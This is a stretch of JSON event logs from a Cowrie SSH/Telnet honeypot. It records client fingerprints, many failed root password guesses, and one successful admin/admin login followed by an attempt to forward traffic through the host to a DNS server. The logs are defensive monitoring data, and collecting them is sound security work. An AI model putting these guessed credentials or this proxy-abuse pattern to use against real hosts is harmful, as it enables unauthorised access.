{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:57.453434Z","src_ip":"43.135.182.46","session":"da76d8ea26a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:57.522835Z","src_ip":"43.135.182.46","session":"da76d8ea26a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paris","message":"login attempt [root/paris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:57.831450Z","src_ip":"43.135.182.46","session":"da76d8ea26a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:59:58.902353Z","src_ip":"43.135.182.46","session":"da76d8ea26a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":50418,"dst_ip":"159.203.135.109","dst_port":22,"session":"206e2d3ab992","protocol":"ssh","message":"New connection: 72.17.34.38:50418 (159.203.135.109:22) [session: 206e2d3ab992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:06.375961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:06.383073Z","src_ip":"72.17.34.38","session":"206e2d3ab992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:06.429193Z","src_ip":"72.17.34.38","session":"206e2d3ab992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clouduser","message":"login attempt [root/clouduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:06.607094Z","src_ip":"72.17.34.38","session":"206e2d3ab992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:07.649272Z","src_ip":"72.17.34.38","session":"206e2d3ab992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":50956,"dst_ip":"159.203.135.109","dst_port":22,"session":"cec643d4f827","protocol":"ssh","message":"New connection: 202.79.29.108:50956 (159.203.135.109:22) [session: cec643d4f827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:19.343277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:19.348784Z","src_ip":"202.79.29.108","session":"cec643d4f827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:19.615361Z","src_ip":"202.79.29.108","session":"cec643d4f827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx123","message":"login attempt [root/!QAZ2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:20.713579Z","src_ip":"202.79.29.108","session":"cec643d4f827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:21.983653Z","src_ip":"202.79.29.108","session":"cec643d4f827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"8066b0cb62dd","protocol":"telnet","message":"New connection: 192.119.13.58:35978 (10.17.0.5:23) [session: 8066b0cb62dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:40.342299Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41930,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd575dc2c76a","protocol":"ssh","message":"New connection: 87.251.64.176:41930 (10.17.0.5:22) [session: dd575dc2c76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:59.616788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:59.621459Z","src_ip":"87.251.64.176","session":"dd575dc2c76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:00:59.718467Z","src_ip":"87.251.64.176","session":"dd575dc2c76a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:00.008055Z","src_ip":"87.251.64.176","session":"dd575dc2c76a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:00.107857Z","session":"dd575dc2c76a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:00.207325Z","src_ip":"87.251.64.176","session":"dd575dc2c76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:00.307071Z","src_ip":"87.251.64.176","session":"dd575dc2c76a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":46348,"dst_ip":"159.203.135.109","dst_port":22,"session":"d47c3daaaa55","protocol":"ssh","message":"New connection: 72.17.34.38:46348 (159.203.135.109:22) [session: d47c3daaaa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:15.900614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:15.906712Z","src_ip":"72.17.34.38","session":"d47c3daaaa55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:15.942798Z","src_ip":"72.17.34.38","session":"d47c3daaaa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin123","message":"login attempt [root/calvin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:16.114324Z","src_ip":"72.17.34.38","session":"d47c3daaaa55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":54356,"dst_ip":"159.203.135.109","dst_port":22,"session":"476f0793420d","protocol":"ssh","message":"New connection: 43.130.31.151:54356 (159.203.135.109:22) [session: 476f0793420d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:16.906538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:16.911888Z","src_ip":"43.130.31.151","session":"476f0793420d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:16.985259Z","src_ip":"43.130.31.151","session":"476f0793420d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:17.152045Z","src_ip":"72.17.34.38","session":"d47c3daaaa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:17.296926Z","src_ip":"43.130.31.151","session":"476f0793420d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":38744,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3fb4ca8c1a","protocol":"ssh","message":"New connection: 103.75.183.219:38744 (10.17.0.5:22) [session: af3fb4ca8c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:17.616664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:17.620865Z","src_ip":"103.75.183.219","session":"af3fb4ca8c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:17.870262Z","src_ip":"103.75.183.219","session":"af3fb4ca8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:18.369265Z","src_ip":"43.130.31.151","session":"476f0793420d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diablo","message":"login attempt [root/diablo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:18.621534Z","src_ip":"103.75.183.219","session":"af3fb4ca8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:19.873267Z","src_ip":"103.75.183.219","session":"af3fb4ca8c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":52738,"dst_ip":"159.203.135.109","dst_port":22,"session":"393f7c89e53a","protocol":"ssh","message":"New connection: 43.135.182.46:52738 (159.203.135.109:22) [session: 393f7c89e53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:23.291492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:23.295696Z","src_ip":"43.135.182.46","session":"393f7c89e53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:23.368003Z","src_ip":"43.135.182.46","session":"393f7c89e53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde123","message":"login attempt [root/zaqxswcde123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:23.674870Z","src_ip":"43.135.182.46","session":"393f7c89e53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.29583811759949,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:24.638013Z","src_ip":"192.119.13.58","session":"8066b0cb62dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:24.747357Z","src_ip":"43.135.182.46","session":"393f7c89e53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54192,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dac1cb97eed","protocol":"ssh","message":"New connection: 94.159.98.239:54192 (159.203.135.109:22) [session: 8dac1cb97eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:01:29.137370Z"}
